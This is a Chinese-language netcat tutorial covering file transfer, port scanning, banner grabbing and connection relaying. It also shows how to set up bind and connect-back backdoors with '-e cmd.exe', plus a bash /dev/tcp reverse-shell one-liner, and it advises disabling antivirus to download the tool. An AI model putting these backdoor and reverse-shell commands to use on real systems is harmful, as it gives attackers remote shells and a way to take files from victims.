当前位置: 首页 > news >正文

netcat的使用

目录

netcat简介

nc的使用场景

nc实现通信

创建一个服务端

创建一个客户端

具体案例

环境

win10在具体路径下执行命令

win7在具体路径下执行命令

netcat文件传输

nc文件传输的利用

服务器等待接收文件

客户端向服务器发送文件

服务器向连接的客户端发送文件

客户端向服务器接收文件

netcat的信息探测

端口扫描

banner抓取

netcat建立后门

建立监听后门

创建一个服务器端

创建一个客户端

建立连接型后门

创建一个服务端

创建一个客户端

netcat的命令参数介绍

参数

netcat连接转发

前言

连接转发案例

环境配置

win7目标机创建服务

win10内创建脚本文件

kail借助win10连接win7

netcat反弹shell

PC接收netcat命令

linux内反弹shell

netcat简介

在网络中有瑞士军刀美誉的netcat,在我们用了N年后依然爱不释手,这是一个非常简单易用的基于TCP/IP协议的瑞士军刀。

nc下载地址:https://eternallybored.org/misc/netcat/

注意:这里下载的时候会报出包含病毒,关闭杀毒软件忽略即可

nc的使用场景

解释:客户端连接服务器会被防火墙阻止,但是服务器访问客户端不会被防火墙拦截;因此可以把服务器作为nc客户端,客户端电脑作为nc服务端来进行连接

nc实现通信

创建一个服务端

语法:nc -l -p 端口

参数:

  • -l:监听模式
  • -p:监听的端口

解释:创建一个nc服务端用来监听该服务端端口的连接状态

创建一个客户端

语法:nc 要连接的服务端IP地址 要连接的服务端端口

解释:创建一个客户端用来连接特定服务端

具体案例

环境

  • win10客户机:使用桥接模式(IP地址:192.168.1.22)
  • win7客户机:使用nat模式(IP地址:192.168.126.155)

注意:win7有网关,处于内网环境,可以连接桥接的win10

win10在具体路径下执行命令

win7在具体路径下执行命令

结果:就可以在命令行相互通信了

netcat文件传输

nc文件传输的利用

  • 取证:当目标机器被黑客攻击之后,取证人员可以利用nc的文件传输功能来获取目标机器上的文件内容,避免直接在目标机器上进行操作造成取证的误差
  • 获取目标机器上的敏感文件:当目标机器上有一些文件内容无法正常下载时,可以利用nc进行文件传输

注意:nc中的数据传输使用的是标准输入、输出流,所以可以直接利用命令来进行操作

服务器等待接收文件

语法:nc -l -p 本地端口 > 服务器本地文件名

解释:将服务器接收的文件内容输出到文件中

客户端向服务器发送文件

语法:nc 服务器IP地址 服务器端口 < 客户端的文件名

解释:将客户端内的具体文件发送到服务器中

服务器向连接的客户端发送文件

语法:nc -l -p 本地端口 < 服务器本地文件名

客户端向服务器接收文件

语法:nc 服务器IP地址 服务器端口 > 文件名

netcat的信息探测

端口扫描

命令:nc -v -n -z -w1 目标IP 起始端口号-中止的端口号

参数

  • -v:对错误进行详细的输出
  • -n:不对目标机器进行DNS解析
  • -z:zero I/O模式,专门用于端口扫描;表示对目标IP发送的数据表中不包含任何的payload,这样做可以加快扫描速度
  • -w1:超时设置为1s

banner抓取

语法:echo "" | nc -v -n -w1 目标IP 起始端口-结束端口

注意:通过banner信息就可以获取目标机器上的某些信息(操作系统)

netcat建立后门

前言:netcat的一切数据都是通过标准输入/输出流实现的,所以可以利用netcat的命令进行后门的建立,并传输结果信息

建立监听后门

创建一个服务器端

语法:nc -l -p 本地端口 -e cmd.exe

注意:-e表示连接之后要返回给连接端对应的程序

创建一个客户端

语法:nc 服务器IP地址 服务器端口

结果:在客户端返回服务端的cmd(linux中使用的是bash)

建立连接型后门

创建一个服务端

语法:nc -l -p 本地端口

创建一个客户端

语法:nc 服务端IP地址 服务端端口 -e cmd.exe

理解:当客户端连接服务器时就会把客户端的cmd返回给服务器

netcat的命令参数介绍

查看nc命令参数:nc -h

参数

  • -d:脱离命令行窗口,在后台运行
  • -e:执行某个程序,常用于后门建立过程
  • -G gateway:设置网关,常用于突破内网限制
  • -g num:表示路由的跳数
  • -i sec:设置发送每一行数据的时间间隔,单位s
  • -l:设置netcat处于监听状态,等待连接
  • -L:设置netcat处于监听状态,等待连接(当客户端断开,服务端依旧回到等待状态)
  • -n:设置netcat只是识别IP地址,不进行dns解析
  • -o:设置传输16进制的数据
  • -p:设置本地监听的端口号
  • -r:设置netcat随机化的端口号
  • -s:用于设置netcat的源地址(用于隐藏自己IP)
  • -t:回复telnet的请求数据包
  • -u:设置netcat使用udp方式
  • -v:显示错误提示信息
  • -w secs:用来设置连接超时秒数
  • -z:设置扫描模式,表示发送的数据包不包含任何payload

注意:netcat的所有请求默认都是使用TCP协议

netcat连接转发

前言

理解:两台服务器可以互相访问,一台笔记本仅可以与右边的服务器进行相互访问,此时该笔记本想要与上面的服务器互相访问就需要借助右边的服务器进行连接转发

连接转发案例

环境配置

  • win10物理机:用作转发服务器,IP地址为192.168.1.22
  • win7:用作内网服务器,nat模式,IP地址为192.168.126.155
  • kail:用作外面客户端,桥接模式

win7目标机创建服务

执行:nc.exe -l -p 2222

win10内创建脚本文件

注意:里面填的是要连接的目的ip与端口(win10必须能够与该服务器相互连接)

执行:nc.exe -l -p 3333 -e delay.bat

理解:连接win10的3333端口就会执行delay.bat脚本文件。

kail借助win10连接win7

执行:nc 192.168.1.22 3333

结果:执行该命令后就会与win7连接

netcat反弹shell

前言:某些情况下拿到服务器权限之后,想要设置一个反弹shell,但是目标服务器上没有安装netcat就需要此功能

PC接收netcat命令

语法:nc -lvp 本地端口

linux内反弹shell

语法:bash -i >& /dev/tcp/反弹的目标ip/目标port 0>&1

解释:

  • 在命令行中bash -i表示交互模式运行bash shell。重定向符>&,若在其后加文件描述符,是将bash -i交互模式传递给文件描述符,而若其后是文件,则将bash -i交互模式传递给文件。
  • 文件描述符(0:标准输入,1:标准输出,2:错误输入输出)命令中0>&1表示将标准输入重定向到标准输出,实现远程的输入可以在远程输出对应内容

相关文章:

netcat的使用

目录 netcat简介 nc的使用场景 nc实现通信 创建一个服务端 创建一个客户端 具体案例 环境 win10在具体路径下执行命令 win7在具体路径下执行命令 netcat文件传输 nc文件传输的利用 服务器等待接收文件 客户端向服务器发送文件 服务器向连接的客户端发送文件 客户…...

深度学习推荐系统(二)Deep Crossing及其在Criteo数据集上的应用

深度学习推荐系统(二)Deep Crossing及其在Criteo数据集上的应用 在2016年&#xff0c; 随着微软的Deep Crossing&#xff0c; 谷歌的Wide&Deep以及FNN、PNN等一大批优秀的深度学习模型被提出&#xff0c; 推荐系统全面进入了深度学习时代&#xff0c; 时至今日&#xff0c…...

前端常用 Vue3 项目组件大全

Vue.js 是一种流行的 JavaScript 前端框架&#xff0c;它简化了构建交互式的用户界面的过程。Vue3 是 Vue.js 的最新版本&#xff0c;引入了许多新的特性和改进。在 Vue3 中&#xff0c;组件是构建应用程序的核心部分&#xff0c;它们可以重用、组合和嵌套。下面是一些前端开发…...

javaee spring 静态代理

静态代理 package com.test.staticProxy;public interface IUsersService {public void insert(); }package com.test.staticProxy;//目标类 public class UsersService implements IUsersService {Overridepublic void insert() {System.out.println("添加用户");…...

Java 包装类和Arrays类(详细解释)

目录 包装类 作用介绍 包装类的特有功能 Arrays类 Arrays.fill() Arrays.toString() Arrays.sort() 升序排序 降序排序 Arrays.equals() Arrays.copyOf() Arrays.binarySearch() 包装类 作用介绍 包装类其实就是8种基本数据类型对应的引用类型。 基本数据类型引用…...

elementUi中的el-table表格的内容根据后端返回的数据用不同的颜色展示

效果图如下&#xff1a; 首先 首先&#xff1a;需要在表格行加入 <template slot-scope"{ row }"> </template>标签 <el-table-column prop"usable" align"center" label"状态" width"180" ><templ…...

在访问一个网页时弹出的浏览器窗口,如何用selenium 网页自动化解决?

相信大家在使用selenium做网页自动化时&#xff0c;会遇到如下这样的一个场景&#xff1a; 在你使用get访问某一个网址时&#xff0c;会在页面中弹出如上图所示的弹出框。 首先想到是利用Alert类来处理它。 然而&#xff0c;很不幸&#xff0c;Alert类处理的结果就是没有结果…...

python 基于http方式与基于redis方式传输摄像头图片数据的实现和对比

目录 0. 需求1. 基于http方式传递图片数据1.1 发送图片数据1.2 接收图片数据并可视化1.3 测试 2. 基于redis方式传递图片数据2.1 发送图片数据2.2 接收图片数据并可视化2.3 测试 3. 对比 0. 需求 在不同进程或者不同语言间传递摄像头图片数据&#xff0c;比如从java实现的代码…...

快速使用Git完整开发

本系列有两篇文章&#xff1a; 一是本篇&#xff0c;主要说明了关于Git工具的基础使用&#xff0c;包含三板斧&#xff08;git add、git commit、git push&#xff09;、Git基本配置、版本回退、分支管理、公钥与私钥、远端仓库和远端分支、忽略文件、命令别名、标签等内容。二…...

鲁棒优化入门(7)—Matlab+Yalmip两阶段鲁棒优化通用编程指南(下)

0.引言 上一篇博客介绍了使用Yalmip工具箱求解单阶段鲁棒优化的方法。这篇文章将和大家一起继续研究如何使用Yalmip工具箱求解两阶段鲁棒优化(默认看到这篇博客时已经有一定的基础了&#xff0c;如果没有可以看看我专栏里的其他文章)。关于两阶段鲁棒优化与列与约束生成算法的原…...

Docker技术--Docker中的网络问题

1.docker中的网络通信 如果想要弄清楚docker中的网络通信问题,其实需要弄清楚这几个问题就可以:容器与容器之间的通信、容器与外部网络之间的通信、外部网络与容器之间的通信。 -a:容器与容器之间的通信,如下所示: 在默认情况下,docker使用网桥(Bridge模式)与NAT通信。这…...

ASP.NET Core 中的两种 Web API

ASP.NET Core 有两种创建 RESTful Web API 的方式&#xff1a; 基于 Controller&#xff0c;使用完整的基于ControllerBase的基类定义接口endpoints。基于 Minimal APIs&#xff0c;使用Lambda表达式定义接口 endpoints。 基于 Controller 的 Web API 可以使用构造函数注入&a…...

【线程池】如何判断线程池中的任务执行完毕(三)

目录 前言 1. isTerminated()方法 2. awaitTermination()方法 3.getTaskCount()方法和executor.getCompletedTaskCount()方法结合使用 4.使用CountDownlatch类 前言 通常我们使用线程池的时候&#xff0c;系统处于运行的状态&#xff0c;而线程池本身就是主要为了线程复用&…...

Qt/C++编写视频监控系统81-Onvif报警抓图和录像并回放

一、前言 视频监控系统中的图文警情模块&#xff0c;是通过Onvif协议的事件订阅拿到的&#xff0c;通过事件订阅后&#xff0c;设备的各种报警事件比如入侵报警/遮挡报警/越界报警/开关量报警等&#xff0c;触发后都会主动往订阅者发送&#xff0c;而且一般都是会发送两次&…...

浅谈安防视频监控平台EasyCVR视频汇聚平台对于夏季可视化智能溺水安全告警平台的重要性

每年夏天都是溺水事故高发的时期&#xff0c;许多未成年人喜欢在有水源的地方嬉戏&#xff0c;这导致了悲剧的发生。常见的溺水事故发生地包括水库、水坑、池塘、河流、溪边和海边等场所。 为了加强溺水风险的提示和预警&#xff0c;完善各类安全防护设施&#xff0c;并及时发现…...

基于单片机的串行通信发射机设计

一、项目介绍 串行通信是一种常见的数据传输方式&#xff0c;允许将数据以比特流的形式在发送端和接收端之间传输。当前实现基于STC89C52单片机的串行通信发射机&#xff0c;通过红外发射管和接收头实现自定义协议的数据无线传输。 二、系统设计 2.1 单片机选择 在本设计中&…...

MySQL数据库——多表查询(3)-自连接、联合查询、子查询

目录 自连接 查询语法 自连接演示 联合查询 查询语法 子查询 介绍 标量子查询 列子查询 行子查询 表子查询 自连接 通过前面的学习&#xff0c;我们对于连接已经有了一定的理解。而自连接&#xff0c;通俗地去理解就是自己连接自己&#xff0c;即一张表查询多次。…...

day53 动规.p14 子序列

- 1143.最长公共子序列 cpp class Solution { public: int longestCommonSubsequence(string text1, string text2) { vector<vector<int>> dp(text1.size() 1, vector<int>(text2.size() 1, 0)); for (int i 1; i < text1.size(…...

将docker打包成镜像并保存到本地

如果想重装系统&#xff0c;又不想破坏docker里面配好的环境&#xff0c;那么可以将docker镜像打包到本地进行保存。 1. 将docker打包成镜像 命令&#xff1a;docker commit 容器id 镜像名:tag 使用docker ps -a即可查看容器相关信息 docker commit dd25c7c6bf17 zm_cu101:c…...

Harmony数据存储工具类

使用的是mmkv 1、安装mmkv ohpm install @ohos/mmkv2、封装 import{MMKV, SerializeBase} from @ohos/mmkv/*** 数据存储工具类*/ class MMKVUtil{private filePath:string = private cachePath:string = private mmkv:MMKVprivate mmapID:string="MMKV"construct…...

C++实现分布式网络通信框架RPC(3)--rpc调用端

目录 一、前言 二、UserServiceRpc_Stub 三、 CallMethod方法的重写 头文件 实现 四、rpc调用端的调用 实现 五、 google::protobuf::RpcController *controller 头文件 实现 六、总结 一、前言 在前边的文章中&#xff0c;我们已经大致实现了rpc服务端的各项功能代…...

AI Agent与Agentic AI:原理、应用、挑战与未来展望

文章目录 一、引言二、AI Agent与Agentic AI的兴起2.1 技术契机与生态成熟2.2 Agent的定义与特征2.3 Agent的发展历程 三、AI Agent的核心技术栈解密3.1 感知模块代码示例&#xff1a;使用Python和OpenCV进行图像识别 3.2 认知与决策模块代码示例&#xff1a;使用OpenAI GPT-3进…...

CocosCreator 之 JavaScript/TypeScript和Java的相互交互

引擎版本&#xff1a; 3.8.1 语言&#xff1a; JavaScript/TypeScript、C、Java 环境&#xff1a;Window 参考&#xff1a;Java原生反射机制 您好&#xff0c;我是鹤九日&#xff01; 回顾 在上篇文章中&#xff1a;CocosCreator Android项目接入UnityAds 广告SDK。 我们简单讲…...

反射获取方法和属性

Java反射获取方法 在Java中&#xff0c;反射&#xff08;Reflection&#xff09;是一种强大的机制&#xff0c;允许程序在运行时访问和操作类的内部属性和方法。通过反射&#xff0c;可以动态地创建对象、调用方法、改变属性值&#xff0c;这在很多Java框架中如Spring和Hiberna…...

【HTML-16】深入理解HTML中的块元素与行内元素

HTML元素根据其显示特性可以分为两大类&#xff1a;块元素(Block-level Elements)和行内元素(Inline Elements)。理解这两者的区别对于构建良好的网页布局至关重要。本文将全面解析这两种元素的特性、区别以及实际应用场景。 1. 块元素(Block-level Elements) 1.1 基本特性 …...

【Go语言基础【13】】函数、闭包、方法

文章目录 零、概述一、函数基础1、函数基础概念2、参数传递机制3、返回值特性3.1. 多返回值3.2. 命名返回值3.3. 错误处理 二、函数类型与高阶函数1. 函数类型定义2. 高阶函数&#xff08;函数作为参数、返回值&#xff09; 三、匿名函数与闭包1. 匿名函数&#xff08;Lambda函…...

Python基于历史模拟方法实现投资组合风险管理的VaR与ES模型项目实战

说明&#xff1a;这是一个机器学习实战项目&#xff08;附带数据代码文档&#xff09;&#xff0c;如需数据代码文档可以直接到文章最后关注获取。 1.项目背景 在金融市场日益复杂和波动加剧的背景下&#xff0c;风险管理成为金融机构和个人投资者关注的核心议题之一。VaR&…...

云原生安全实战:API网关Kong的鉴权与限流详解

&#x1f525;「炎码工坊」技术弹药已装填&#xff01; 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 一、基础概念 1. API网关&#xff08;API Gateway&#xff09; API网关是微服务架构中的核心组件&#xff0c;负责统一管理所有API的流量入口。它像一座…...

JavaScript 数据类型详解

JavaScript 数据类型详解 JavaScript 数据类型分为 原始类型&#xff08;Primitive&#xff09; 和 对象类型&#xff08;Object&#xff09; 两大类&#xff0c;共 8 种&#xff08;ES11&#xff09;&#xff1a; 一、原始类型&#xff08;7种&#xff09; 1. undefined 定…...

【LeetCode】3309. 连接二进制表示可形成的最大数值(递归|回溯|位运算)

LeetCode 3309. 连接二进制表示可形成的最大数值&#xff08;中等&#xff09; 题目描述解题思路Java代码 题目描述 题目链接&#xff1a;LeetCode 3309. 连接二进制表示可形成的最大数值&#xff08;中等&#xff09; 给你一个长度为 3 的整数数组 nums。 现以某种顺序 连接…...